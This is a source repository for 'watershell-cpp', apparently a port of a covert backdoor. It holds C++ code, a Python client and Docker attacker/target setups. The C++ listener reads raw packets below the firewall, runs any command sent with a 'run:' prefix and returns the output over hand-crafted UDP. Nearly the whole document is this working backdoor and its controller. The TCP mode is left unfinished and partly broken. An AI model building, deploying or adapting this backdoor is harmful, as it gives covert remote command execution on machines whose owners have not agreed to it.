├── .devcontainer └── devcontainer.json ├── .gitignore ├── README.md ├── build.sh ├── docker ├── attacker.Dockerfile ├── dev.Dockerfile ├── docker-compose.yaml └── target.Dockerfile ├── main.cpp ├── watershell-cli.py ├── watershell.cpp └── watershell.h /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/vscode-remote/devcontainer.json or the definition README at 2 | // https://github.com/microsoft/vscode-dev-containers/tree/master/containers/docker-existing-dockerfile 3 | { 4 | "name": "Watershell Dev", 5 | // Sets the run context to one level up instead of the .devcontainer folder. 6 | "context": "..", 7 | // Update the 'dockerFile' property if you aren't using the standard 'Dockerfile' filename. 8 | "dockerFile": "../docker/dev.Dockerfile", 9 | // The optional 'runArgs' property can be used to specify additional runtime arguments. 10 | "runArgs": [ 11 | // Uncomment the next line to use Docker from inside the container. See https://aka.ms/vscode-remote/samples/docker-in-docker for details. 12 | // "-v","/var/run/docker.sock:/var/run/docker.sock", 13 | // Uncomment the next line if you will be using a ptrace-based debugger like C++, Go, and Rust. 14 | "--network=watershell", 15 | "--cap-add=SYS_PTRACE", 16 | "--cap-add=NET_ADMIN", 17 | "--security-opt", 18 | "seccomp=unconfined" 19 | // You may want to add a non-root user to your Dockerfile. On Linux, this will prevent 20 | // new files getting created as root. See https://aka.ms/vscode-remote/containers/non-root-user 21 | // for the needed Dockerfile updates and then uncomment the next line. 22 | // "-u", "vscode" 23 | ], 24 | // Use 'settings' to set *default* container specific settings.json values on container create. 25 | // You can edit these settings after create using File > Preferences > Settings > Remote. 26 | "settings": { 27 | // This will ignore your local shell user setting for Linux since shells like zsh are typically 28 | // not in base container images. You can also update this to an specific shell to ensure VS Code 29 | // uses the right one for terminals and tasks. For example, /bin/bash (or /bin/ash for Alpine). 30 | /* 31 | * VSCode 32 | */ 33 | "terminal.integrated.shell.linux": null, 34 | "telemetry.enableTelemetry": false, 35 | "telemetry.enableCrashReporter": false, 36 | "editor.rulers": [100], 37 | "trailing-spaces.trimOnSave": true, 38 | /* 39 | * GIT 40 | */ 41 | "git.autofetch": true, 42 | "editor.formatOnSave": true, 43 | "editor.formatOnType": true, 44 | "editor.codeActionsOnSave": { 45 | "source.organizeImports": true 46 | }, 47 | "files.eol": "\n", // formatting only supports LF line endings 48 | }, 49 | // Uncomment the next line to run commands after the container is created - for example installing git. 50 | // "postCreateCommand": "", 51 | "extensions": [ 52 | "mikestead.dotenv", 53 | "ms-azuretools.vscode-docker", 54 | "ms-vscode.go", 55 | "shardulm94.trailing-spaces", 56 | "zxh404.vscode-proto3", 57 | "xaver.clang-format", 58 | "apollographql.vscode-apollo", 59 | "dbaeumer.vscode-eslint", 60 | "esbenp.prettier-vscode" 61 | ] 62 | } 63 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | *.o 3 | watershell 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # watershell-cpp 2 | Port of [watershell](https://github.com/wumb0/watershell) made by an alumni [wumb0](https://github.com/wumb0) that I decided to rewrite in C++ :) 3 | 4 | ## Setup 5 | ``` 6 | g++ main.cpp watershell.cpp -o ${INSERT_BINARY_NAME} 7 | ``` 8 | 9 | ## Known Problems 10 | - In older versions of linux `g++` might not come with a regex library. As part of figuring out Layer 2 we use regex so that way the code isnt even more painful to read/write. 11 | - You cannot connect to a watershell from the box it is running on. The watershell client MUST be run on another box in order for it to work. 12 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | OUTPUT=$1 3 | g++ -static-libstdc++ -std=c++0x main.cpp watershell.cpp -o ../build/$OUTPUT 4 | g++ -m32 -static-libstdc++ -std=c++0x main.cpp watershell.cpp -o ../build/x86_$OUTPUT 5 | 6 | -------------------------------------------------------------------------------- /docker/attacker.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9 2 | 3 | WORKDIR $HOME/src/ 4 | ADD ./watershell-cli.py $HOME/src/ -------------------------------------------------------------------------------- /docker/dev.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcc:latest 2 | 3 | RUN apt-get update && apt-get install python3 4 | WORKDIR $HOME/src/ 5 | -------------------------------------------------------------------------------- /docker/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | 3 | services: 4 | target: 5 | build: 6 | context: ../ 7 | dockerfile: "./docker/target.Dockerfile" 8 | attacker: 9 | build: 10 | context: ../ 11 | dockerfile: "./docker/attacker.Dockerfile" 12 | command: /bin/sh -c "while true; do sleep 1; done" 13 | -------------------------------------------------------------------------------- /docker/target.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcc:latest 2 | 3 | WORKDIR $HOME/src/ 4 | ADD ./* $HOME/src/ 5 | RUN g++ main.cpp watershell.cpp -o watershell 6 | CMD ./watershell -l 8080 eth0 -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include "watershell.h" 2 | 3 | int main(int argc, char *argv[]) { 4 | 5 | bool DEBUG = true; 6 | bool PROMISC = false; 7 | bool TCP_MODE = false; 8 | int port = 53; 9 | 10 | int arg; 11 | struct sock_fprog filter; 12 | char buf[2048]; 13 | unsigned char *read; 14 | 15 | while ((arg = getopt(argc, argv, "phtl:")) != -1){ 16 | switch (arg){ 17 | case 'p': 18 | if (DEBUG) 19 | std::puts("Running in promisc mode"); 20 | PROMISC = true; 21 | break; 22 | 23 | case 't': 24 | if (DEBUG) 25 | std::puts("TCP mode (experimental)"); 26 | TCP_MODE = true; 27 | break; 28 | 29 | case 'h': 30 | if (DEBUG) 31 | std::cerr << "Usage: " << argv[0] << "[-l port] [-p] -i iface" << std::endl; 32 | return 0; 33 | break; 34 | case 'l': 35 | port = strtoul(optarg, NULL, 10); 36 | if (port <= 0 || port > 65535){ 37 | if (DEBUG) 38 | std::puts("Invalid port"); 39 | return 1; 40 | } 41 | break; 42 | case '?': 43 | if (DEBUG) 44 | std::cerr << "Usage: " << argv[0] << "[-l port] [-p] -i iface" << std::endl; 45 | return 1; 46 | default: 47 | std::abort(); 48 | } 49 | } 50 | std::cout << port << std::endl; 51 | Watershell wtrshl(port, DEBUG, PROMISC, TCP_MODE); 52 | wtrshl.Init(); 53 | std::cout << wtrshl.gateway_mac << std::endl; 54 | while(true){ 55 | wtrshl.RunOnce(); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /watershell-cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Watershell client; a script to easily send commands over UDP to a host running 5 | the watershell listening binary. The watershell will be listening for UDP data 6 | on a lower level of the network stack to bypass userspace firewall rules. 7 | 8 | Major update provided by Burrch3s 9 | """ 10 | 11 | import argparse 12 | import socket 13 | import time 14 | import sys 15 | import random 16 | 17 | def recv_timeout(the_socket, timeout=4): 18 | """ 19 | Attempt to listen for data until the specified timeout is reached. 20 | 21 | Returns: 22 | str - Data received over socket 23 | """ 24 | # make socket non blocking 25 | the_socket.setblocking(0) 26 | 27 | # total data partwise in an array 28 | total_data = [] 29 | data = '' 30 | 31 | # beginning time 32 | begin = time.time() 33 | while True: 34 | # if you got some data, then break after timeout 35 | if total_data and time.time()-begin > timeout: 36 | break 37 | 38 | # if weve waited longer than the timeout, break 39 | elif time.time()-begin > timeout: 40 | break 41 | 42 | # recv something 43 | try: 44 | data = the_socket.recv(8192) 45 | if data: 46 | total_data.append(data.decode()) 47 | # change the beginning time for measurement 48 | begin = time.time() 49 | else: 50 | # sleep for sometime to indicate a gap 51 | time.sleep(0.1) 52 | except BaseException as exc: 53 | pass 54 | 55 | # join all parts to make final string 56 | return ''.join(total_data) 57 | 58 | def declare_args(): 59 | """ 60 | Function to declare arguments that are acceptable to watershel-cli.py 61 | """ 62 | parser = argparse.ArgumentParser( 63 | description="Watershell client to send command to host with watershell listening over UDP.") 64 | parser.add_argument( 65 | '-t', '--target', 66 | dest='target', 67 | type=str, 68 | required=True, 69 | help="IP of the target to send UDP message to.") 70 | 71 | parser.add_argument( 72 | '-T', '--tcp', 73 | dest='tcp_bool', 74 | action='store_true', 75 | required=False, 76 | help="Use TCP or default to UDP. (experimental)") 77 | 78 | parser.add_argument( 79 | '-p', '--port', 80 | dest='port', 81 | type=int, 82 | default=53, 83 | help="Port to send UDP message to.") 84 | 85 | parser.add_argument( 86 | '-c', '--command', 87 | dest='command', 88 | type=str, 89 | help="One off command to send to listening watershell target") 90 | 91 | parser.add_argument( 92 | '-i', '--interactive', 93 | dest='interactive', 94 | action='store_true', 95 | default=True, 96 | help="Interactively send commands to watershell target") 97 | 98 | return parser 99 | 100 | def execute_cmd_prompt(sock, target, tcp_bool): 101 | """ 102 | Interactively prompt user for commands and execute them 103 | """ 104 | if tcp_bool: 105 | sock.connect(target) 106 | 107 | while True: 108 | cmd = input("//\\\\watershell//\\\\>> ") 109 | if cmd == 'exit': 110 | break 111 | if len(cmd) > 1: 112 | if not tcp_bool: 113 | sock.sendto(("run:"+cmd).encode(), target) 114 | resp = recv_timeout(sock, 4) 115 | print(resp) 116 | else: 117 | sock.send(("run:"+cmd).encode()) 118 | 119 | def main(): 120 | """ 121 | Entry point to watershell-cli.py. Parse arguments supplied by user, 122 | grab the status of the watershell target and then issue commands. 123 | """ 124 | args = declare_args().parse_args() 125 | 126 | 127 | # Bind source port to send UDP message from 128 | # tcp has no response. 129 | if not args.tcp_bool: 130 | src_port = random.randint(40000, 65353) 131 | s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 132 | s_socket.bind(("0.0.0.0", src_port)) 133 | else: 134 | s_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 135 | 136 | 137 | target = (args.target, args.port) 138 | print("Connecting to Watershell on {}...".format(target)) 139 | if not args.tcp_bool: 140 | s_socket.sendto(b'status:', target) 141 | 142 | resp = recv_timeout(s_socket, 2) 143 | if resp == "up": 144 | print("Connected!") 145 | else: 146 | print("Connection Failed...") 147 | sys.exit(1) 148 | 149 | if args.interactive and not args.command: 150 | execute_cmd_prompt(s_socket, target, args.tcp_bool) 151 | else: 152 | if not args.tcp_bool: 153 | s_socket.sendto(("run:{}".format(args.command)).encode(), target) 154 | resp = recv_timeout(s_socket, 4) 155 | print(resp) 156 | else: 157 | s_socket.connect(target) 158 | s_socket.send(("run:{}".format(args.command)).encode()) 159 | 160 | 161 | if __name__ == '__main__': 162 | main() 163 | -------------------------------------------------------------------------------- /watershell.cpp: -------------------------------------------------------------------------------- 1 | #include "watershell.h" 2 | 3 | // Constructor 4 | Watershell::Watershell(int port) { Watershell(port, false); } 5 | Watershell::Watershell(int port, bool DEBUG) { 6 | Watershell(port, DEBUG, false, false); 7 | } 8 | 9 | Watershell::Watershell(int port, bool DEBUG, bool PROMISC, bool TCP_MODE) { 10 | this->port = port; 11 | this->DEBUG = DEBUG; 12 | this->PROMISC = PROMISC; 13 | this->TCP_MODE = TCP_MODE; 14 | 15 | memset(this->iface, '\0', sizeof(this->iface)); 16 | this->GetInterfaceName(this->iface); 17 | 18 | /* BPF code generated with tcpdump -dd udp and port 12345 19 | * used to filter incoming packets at the socket level 20 | */ 21 | struct sock_filter bpf_code[] = { 22 | {0x28, 0, 0, 0x0000000c}, {0x15, 0, 6, 0x000086dd}, 23 | {0x30, 0, 0, 0x00000014}, {0x15, 0, 15, 0x00000011}, 24 | {0x28, 0, 0, 0x00000036}, {0x15, 12, 0, 0x00003039}, // 5 25 | {0x28, 0, 0, 0x00000038}, {0x15, 10, 11, 0x00003039}, // 7 26 | {0x15, 0, 10, 0x00000800}, {0x30, 0, 0, 0x00000017}, 27 | {0x15, 0, 8, 0x00000011}, {0x28, 0, 0, 0x00000014}, 28 | {0x45, 6, 0, 0x00001fff}, {0xb1, 0, 0, 0x0000000e}, 29 | {0x48, 0, 0, 0x0000000e}, {0x15, 2, 0, 0x00003039}, // 15 30 | {0x48, 0, 0, 0x00000010}, {0x15, 0, 1, 0x00003039}, // 17 31 | {0x6, 0, 0, 0x0000ffff}, {0x6, 0, 0, 0x00000000}, 32 | }; 33 | 34 | bpf_code[5].k = this->port; 35 | bpf_code[7].k = this->port; 36 | bpf_code[15].k = this->port; 37 | bpf_code[17].k = this->port; 38 | 39 | /* BPF code generated with tcpdump -dd tcp and port 12345 40 | * used to filter incoming packets at the socket level 41 | */ 42 | struct sock_filter bpf_code_tcp[] = { 43 | {0x28, 0, 0, 0x0000000c}, {0x15, 0, 6, 0x000086dd}, 44 | {0x30, 0, 0, 0x00000014}, {0x15, 0, 15, 0x00000006}, 45 | {0x28, 0, 0, 0x00000036}, {0x15, 12, 0, 0x00003039}, // 5 46 | {0x28, 0, 0, 0x00000038}, {0x15, 10, 11, 0x00003039}, // 7 47 | {0x15, 0, 10, 0x00000800}, {0x30, 0, 0, 0x00000017}, 48 | {0x15, 0, 8, 0x00000006}, {0x28, 0, 0, 0x00000014}, 49 | {0x45, 6, 0, 0x00001fff}, {0xb1, 0, 0, 0x0000000e}, 50 | {0x48, 0, 0, 0x0000000e}, {0x15, 2, 0, 0x00003039}, // 15 51 | {0x48, 0, 0, 0x00000010}, // 17 52 | {0x15, 0, 1, 0x00003039}, {0x6, 0, 0, 0x00040000}, 53 | {0x6, 0, 0, 0x00000000}, 54 | }; 55 | 56 | bpf_code_tcp[5].k = this->port; 57 | bpf_code_tcp[7].k = this->port; 58 | bpf_code_tcp[15].k = this->port; 59 | bpf_code_tcp[17].k = this->port; 60 | 61 | /* startup a raw socket, gets raw ethernet frames containing IP packets 62 | * directly from the interface, none of this AF_INET shit 63 | */ 64 | this->sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); 65 | if (this->sockfd < 0) { 66 | if (this->DEBUG) 67 | std::perror("socket"); 68 | exit(1); 69 | } 70 | 71 | /* setup ifreq struct and SIGINT handler 72 | * make sure we can issue an ioctl to the interface 73 | */ 74 | this->sifreq = (ifreq *)malloc(sizeof(struct ifreq)); 75 | // std::signal(SIGINT, this->Sigint); 76 | std::strncpy(this->sifreq->ifr_name, this->iface, IFNAMSIZ); 77 | if (ioctl(this->sockfd, SIOCGIFFLAGS, this->sifreq) == -1) { 78 | if (this->DEBUG) 79 | std::perror("ioctl SIOCGIFFLAGS"); 80 | close(this->sockfd); 81 | free(this->sifreq); 82 | exit(0); 83 | } 84 | 85 | // set up promisc mode if enabled 86 | if (this->PROMISC) { 87 | this->sifreq->ifr_flags |= IFF_PROMISC; 88 | if (ioctl(this->sockfd, SIOCSIFFLAGS, this->sifreq) == -1) 89 | if (this->DEBUG) 90 | std::perror("ioctl SIOCSIFFLAGS"); 91 | } 92 | 93 | // apply the packet filter code to the socket 94 | this->filter.len = 20; 95 | if (this->TCP_MODE) { 96 | this->filter.filter = bpf_code_tcp; 97 | } else { 98 | this->filter.filter = bpf_code; 99 | } 100 | 101 | // if (setsockopt(this->sockfd, SOL_SOCKET, SO_ATTACH_FILTER, 102 | // &(this->filter), sizeof(this->filter)) < 0) 103 | if (setsockopt(this->sockfd, SOL_SOCKET, SO_ATTACH_FILTER, &(this->filter), 104 | sizeof(this->filter)) < 0) 105 | if (this->DEBUG) 106 | std::perror("setsockopt"); 107 | } 108 | 109 | void Watershell::Init() { this->SetGatewayMAC(); } 110 | 111 | int Watershell::RunOnce() { 112 | int n; 113 | unsigned char buf[2048]; 114 | char *data; 115 | struct iphdr *ip; 116 | struct udphdr *udp; 117 | struct tcphdr *tcp; 118 | 119 | memset(buf, 0, 2048); 120 | // get a packet, and tear it apart, look for keywords 121 | // if a service is running we don't have to do an ack. 122 | if (this->TCP_MODE) { 123 | n = recvfrom(this->sockfd, buf, 2048, 0, NULL, NULL); 124 | ip = (struct iphdr *)(buf + sizeof(struct ethhdr)); 125 | tcp = (struct tcphdr *)(buf + ip->ihl * 4 + sizeof(struct ethhdr)); 126 | data = (char *)((buf + 66)); 127 | 128 | // for (int i = 0; i < 96; i++) { 129 | // if (i % 29 == 0) { 130 | // std::cout << std::endl; 131 | // } 132 | // printf("%02x ", buf[i]); 133 | // } 134 | // for (int i = 0; i < 96; i++) { 135 | // if (i % 29 == 0) { 136 | // std::cout << std::endl; 137 | // } 138 | // printf("%02x ", data[i]); 139 | // } 140 | 141 | } else { 142 | n = recvfrom(this->sockfd, buf, 2048, 0, NULL, NULL); 143 | ip = (struct iphdr *)(buf + sizeof(struct ethhdr)); 144 | udp = (struct udphdr *)(buf + ip->ihl * 4 + sizeof(struct ethhdr)); 145 | data = (char *)((buf + ip->ihl * 4 + 8 + sizeof(struct ethhdr))); 146 | } 147 | 148 | std::cout << data << std::endl; 149 | 150 | // checkup on the service, make sure it is still there 151 | if (!std::strncmp(data, "status:", 7)) { 152 | if (!this->TCP_MODE) { 153 | this->SendReplyUDP(buf, "up"); 154 | } 155 | } 156 | 157 | // run a command if the data is prefixed with run: 158 | if (!std::strncmp(data, "run:", 4)) { 159 | 160 | int out = open("/dev/null", O_WRONLY); 161 | int err = open("/dev/null", O_WRONLY); 162 | dup2(out, 0); 163 | dup2(err, 2); 164 | 165 | FILE *fd; 166 | fd = popen(data + 4, "r"); 167 | if (!fd) 168 | return -1; 169 | 170 | char buffer[256]; 171 | size_t chread; 172 | /* String to store entire command contents in */ 173 | size_t comalloc = 256; 174 | size_t comlen = 0; 175 | unsigned char *comout = (unsigned char *)malloc(comalloc); 176 | 177 | /* Use fread so binary data is dealt with correctly */ 178 | while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) { 179 | if (comlen + chread >= comalloc) { 180 | comalloc *= 2; 181 | comout = (unsigned char *)realloc(comout, comalloc); 182 | } 183 | memmove(comout + comlen, buffer, chread); 184 | comlen += chread; 185 | } 186 | 187 | pclose(fd); 188 | int i = 0; 189 | std::string cmdOutStr(reinterpret_cast((comout))); 190 | std::string chunk; 191 | while (i < cmdOutStr.size()) { 192 | int offset = (i + 1024) < cmdOutStr.size() ? 1024 : cmdOutStr.size() - i; 193 | chunk = cmdOutStr.substr(i, offset); 194 | if (!this->TCP_MODE) { 195 | this->SendReplyUDP(buf, chunk.c_str()); 196 | } 197 | i += 1024; 198 | } 199 | } 200 | } 201 | 202 | std::string Watershell::GetMacFromIP(char *ip_addr) { 203 | std::ifstream arp_file("/proc/net/arp", std::ifstream::in); 204 | std::regex mac_regex(std::string("^") + ip_addr + 205 | std::string("\\s*\\w*\\s*\\w*\\s*([\\w:]*)")); 206 | 207 | // skip first line 208 | arp_file.ignore(std::numeric_limits::max(), '\n'); 209 | std::string line; 210 | while (getline(arp_file, line)) { 211 | std::smatch mac_match; 212 | if (std::regex_search(line, mac_match, mac_regex)) { 213 | return mac_match[1]; 214 | } 215 | } 216 | } 217 | 218 | void Watershell::SetGatewayMAC() { 219 | std::ifstream route_file("/proc/net/route", std::ifstream::in); 220 | std::regex route_regex(std::string("^") + this->iface + 221 | std::string("\\s*00000000\\s*([A-Z0-9]{8})")); 222 | // skip first line 223 | route_file.ignore(std::numeric_limits::max(), '\n'); 224 | std::string line; 225 | while (getline(route_file, line)) { 226 | std::smatch route_match; 227 | if (std::regex_search(line, route_match, route_regex)) { 228 | unsigned int ip; 229 | std::stringstream ss; 230 | ss << std::hex << route_match[1]; 231 | ss >> ip; 232 | struct in_addr addr; 233 | addr.s_addr = htonl(ip); 234 | /* Reverse the bytes in the binary address */ 235 | addr.s_addr = ((addr.s_addr & 0xff000000) >> 24) | 236 | ((addr.s_addr & 0x00ff0000) >> 8) | 237 | ((addr.s_addr & 0x0000ff00) << 8) | 238 | ((addr.s_addr & 0x000000ff) << 24); 239 | char *ip_addr = inet_ntoa(addr); 240 | this->gateway_mac = this->GetMacFromIP(ip_addr); 241 | } 242 | } 243 | } 244 | 245 | void Watershell::GetInterfaceName(char iface[]) { 246 | const char *google_dns_server = "8.8.8.8"; 247 | int dns_port = 53; 248 | int sock, err; 249 | 250 | char buf[32]; 251 | char buffer[100]; 252 | 253 | struct ifaddrs *addrs, *iap; 254 | struct sockaddr_in *sa; 255 | struct sockaddr_in serv; 256 | struct sockaddr_in name; 257 | 258 | sock = socket(AF_INET, SOCK_DGRAM, 0); 259 | 260 | memset(&serv, 0, sizeof(serv)); 261 | serv.sin_family = AF_INET; 262 | serv.sin_addr.s_addr = inet_addr(google_dns_server); 263 | serv.sin_port = htons(dns_port); 264 | 265 | err = connect(sock, (const struct sockaddr *)&serv, sizeof(serv)); 266 | 267 | socklen_t namelen = sizeof(name); 268 | err = getsockname(sock, (struct sockaddr *)&name, &namelen); 269 | 270 | const char *p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100); 271 | 272 | getifaddrs(&addrs); 273 | for (iap = addrs; iap != NULL; iap = iap->ifa_next) { 274 | if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && 275 | iap->ifa_addr->sa_family == AF_INET) { 276 | sa = (struct sockaddr_in *)(iap->ifa_addr); 277 | inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, 278 | sizeof(buf)); 279 | if (!strcmp(p, buf)) { 280 | strncpy(iface, iap->ifa_name, strlen(iap->ifa_name)); 281 | // interface_name = iap->ifa_name; 282 | break; 283 | } 284 | } 285 | } 286 | 287 | freeifaddrs(addrs); 288 | close(sock); 289 | } 290 | 291 | void Watershell::SendReplyUDP(unsigned char *buf, const char *payload) { 292 | struct udpframe frame; 293 | struct sockaddr_ll saddrll; 294 | struct sockaddr_in sin; 295 | int len; 296 | 297 | // setup the data 298 | std::memset(&frame, 0, sizeof(frame)); 299 | std::memcpy(frame.data, payload, std::strlen((char *)payload)); 300 | 301 | // get the ifindex 302 | if (ioctl(this->sockfd, SIOCGIFINDEX, this->sifreq) == -1) { 303 | if (this->DEBUG) { 304 | std::perror("ioctl SIOCGIFINDEX"); 305 | } 306 | return; 307 | } 308 | 309 | // layer 2 310 | saddrll.sll_family = PF_PACKET; 311 | saddrll.sll_ifindex = this->sifreq->ifr_ifindex; 312 | saddrll.sll_halen = ETH_ALEN; 313 | std::memcpy((void *)saddrll.sll_addr, 314 | (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN); 315 | std::memcpy((void *)frame.ehdr.h_source, 316 | (void *)(((struct ethhdr *)buf)->h_dest), ETH_ALEN); 317 | std::memcpy((void *)frame.ehdr.h_dest, 318 | (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN); 319 | frame.ehdr.h_proto = htons(ETH_P_IP); 320 | 321 | // layer 3 322 | frame.ip.version = 4; 323 | frame.ip.ihl = sizeof(frame.ip) / 4; 324 | frame.ip.id = htons(69); 325 | frame.ip.frag_off |= htons(IP_DF); 326 | frame.ip.ttl = 64; 327 | frame.ip.tos = 0; 328 | frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + 329 | std::strlen((char *)payload)); 330 | frame.ip.saddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->daddr; 331 | frame.ip.daddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->saddr; 332 | frame.ip.protocol = IPPROTO_UDP; 333 | 334 | // layer 4 335 | 336 | frame.udp.source = 337 | ((struct udphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr))) 338 | ->dest; 339 | frame.udp.dest = 340 | ((struct udphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr))) 341 | ->source; 342 | frame.udp.len = htons(strlen((char *)payload) + sizeof(frame.udp)); 343 | 344 | // checksumsstrncpy 345 | // udp_checksum(&frame.ip, (unsigned short*)&frame.udp); 346 | this->CalcIPChecksum(&frame.ip); 347 | 348 | // calculate total length and send 349 | len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + 350 | std::strlen((char *)payload); 351 | sendto(this->sockfd, (char *)&frame, len, 0, (struct sockaddr *)&saddrll, 352 | sizeof(saddrll)); 353 | } 354 | 355 | void Watershell::SendReplyTCP(unsigned char *buf, const char *payload) { 356 | struct tcpframe frame; 357 | struct sockaddr_ll saddrll; 358 | struct sockaddr_in sin; 359 | int len; 360 | 361 | // setup the data 362 | std::memset(&frame, 0, sizeof(frame)); 363 | std::memcpy(frame.data, payload, std::strlen((char *)payload)); 364 | 365 | // get the ifindex 366 | if (ioctl(this->sockfd, SIOCGIFINDEX, this->sifreq) == -1) { 367 | if (this->DEBUG) { 368 | std::perror("ioctl SIOCGIFINDEX"); 369 | } 370 | return; 371 | } 372 | 373 | // layer 2 374 | saddrll.sll_family = PF_PACKET; 375 | saddrll.sll_ifindex = this->sifreq->ifr_ifindex; 376 | saddrll.sll_halen = ETH_ALEN; 377 | std::memcpy((void *)saddrll.sll_addr, 378 | (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN); 379 | std::memcpy((void *)frame.ehdr.h_source, 380 | (void *)(((struct ethhdr *)buf)->h_dest), ETH_ALEN); 381 | std::memcpy((void *)frame.ehdr.h_dest, 382 | (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN); 383 | frame.ehdr.h_proto = htons(ETH_P_IP); 384 | 385 | // layer 3 386 | frame.ip.version = 4; 387 | frame.ip.ihl = sizeof(frame.ip) / 4; 388 | frame.ip.id = htons(69); 389 | frame.ip.frag_off |= htons(IP_DF); 390 | frame.ip.ttl = 64; 391 | frame.ip.tos = 0; 392 | frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.tcp) + 393 | std::strlen((char *)payload)); 394 | frame.ip.saddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->daddr; 395 | frame.ip.daddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->saddr; 396 | frame.ip.protocol = IPPROTO_UDP; 397 | 398 | // layer 4 399 | 400 | frame.tcp.source = 401 | ((struct tcphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr))) 402 | ->dest; 403 | frame.tcp.dest = 404 | ((struct tcphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr))) 405 | ->source; 406 | // frame.tcp.len = htons(strlen((char *)payload) + sizeof(frame.tcp)); 407 | 408 | // // checksumsstrncpy 409 | // // udp_checksum(&frame.ip, (unsigned short*)&frame.udp); 410 | // this->CalcIPChecksum(&frame.ip); 411 | 412 | // // calculate total length and send 413 | // len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct 414 | // iphdr) 415 | // + 416 | // std::strlen((char *)payload); 417 | // sendto(this->sockfd, (char *)&frame, len, 0, (struct sockaddr *)&saddrll, 418 | // sizeof(saddrll)); 419 | } 420 | 421 | // Watershell::Sigint(int signum){ 422 | // //if promiscuous mode was on, turn it off 423 | // if (this->PROMISC){ 424 | // if (ioctl(this->sockfd, SIOCGIFFLAGS, this->sifreq) == -1){ 425 | // if (this->DEBUG) std::perror("ioctl GIFFLAGS"); 426 | // } 427 | // sifreq->ifr_flags ^= IFF_PROMISC; 428 | // if (ioctl(this->sockfd, SIOCSIFFLAGS, this->sifreq) == -1){ 429 | // if (this->DEBUG) std::perror("ioctl SIFFLAGS"); 430 | // } 431 | // } 432 | // //shut it down! 433 | // free(this->sifreq); 434 | // close(this->sockfd); 435 | // //exit(1); 436 | // } 437 | 438 | void Watershell::CalcIPChecksum(struct iphdr *ip) { 439 | unsigned int count = ip->ihl << 2; 440 | unsigned short *addr = (unsigned short *)ip; 441 | register unsigned long sum = 0; 442 | 443 | ip->check = 0; 444 | while (count > 1) { 445 | sum += *addr++; 446 | count -= 2; 447 | } 448 | if (count > 0) 449 | sum += ((*addr) & htons(0xFFFF)); 450 | while (sum >> 16) 451 | sum = (sum & 0xFFFF) + (sum >> 16); 452 | sum = ~sum; 453 | ip->check = (unsigned short)sum; 454 | } 455 | -------------------------------------------------------------------------------- /watershell.h: -------------------------------------------------------------------------------- 1 | #ifndef WATERSHELL_H_ 2 | #define WATERSHELL_H_ 3 | 4 | // Networking 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | // General 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | class Watershell { 36 | public: 37 | char iface[100]; 38 | std::string gateway_mac; 39 | Watershell(int port); 40 | Watershell(int port, bool DEBUG); 41 | Watershell(int port, bool DEBUG, bool PROMISC, bool TCP_MODE); 42 | int RunOnce(void); 43 | void Init(void); 44 | 45 | private: 46 | bool DEBUG, PROMISC, TCP_MODE; 47 | int port, sockfd; 48 | struct ifreq *sifreq; 49 | struct sock_fprog filter; 50 | 51 | void SetGatewayMAC(void); 52 | std::string GetMacFromIP(char *ip_addr); 53 | void GetInterfaceName(char iface[]); 54 | void SendReplyUDP(unsigned char *buf, const char *payload); 55 | void SendReplyTCP(unsigned char *buf, const char *payload); 56 | // void Sigint(int signum); 57 | void CalcIPChecksum(struct iphdr *ip); 58 | }; 59 | 60 | /* its a datagram inside a packet inside a frame! 61 | * gotta be packed though! 62 | */ 63 | struct __attribute__((__packed__)) udpframe { 64 | struct ethhdr ehdr; 65 | struct iphdr ip; 66 | struct udphdr udp; 67 | unsigned char 68 | data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)]; 69 | }; 70 | /* its a datagram inside a packet inside a frame! 71 | * gotta be packed though! 72 | */ 73 | struct __attribute__((__packed__)) tcpframe { 74 | struct ethhdr ehdr; 75 | struct iphdr ip; 76 | struct tcphdr tcp; 77 | unsigned char 78 | data[ETH_DATA_LEN - sizeof(struct tcphdr) - sizeof(struct iphdr)]; 79 | }; 80 | #endif // WATERSHELL_H_ 81 | --------------------------------------------------------------------------------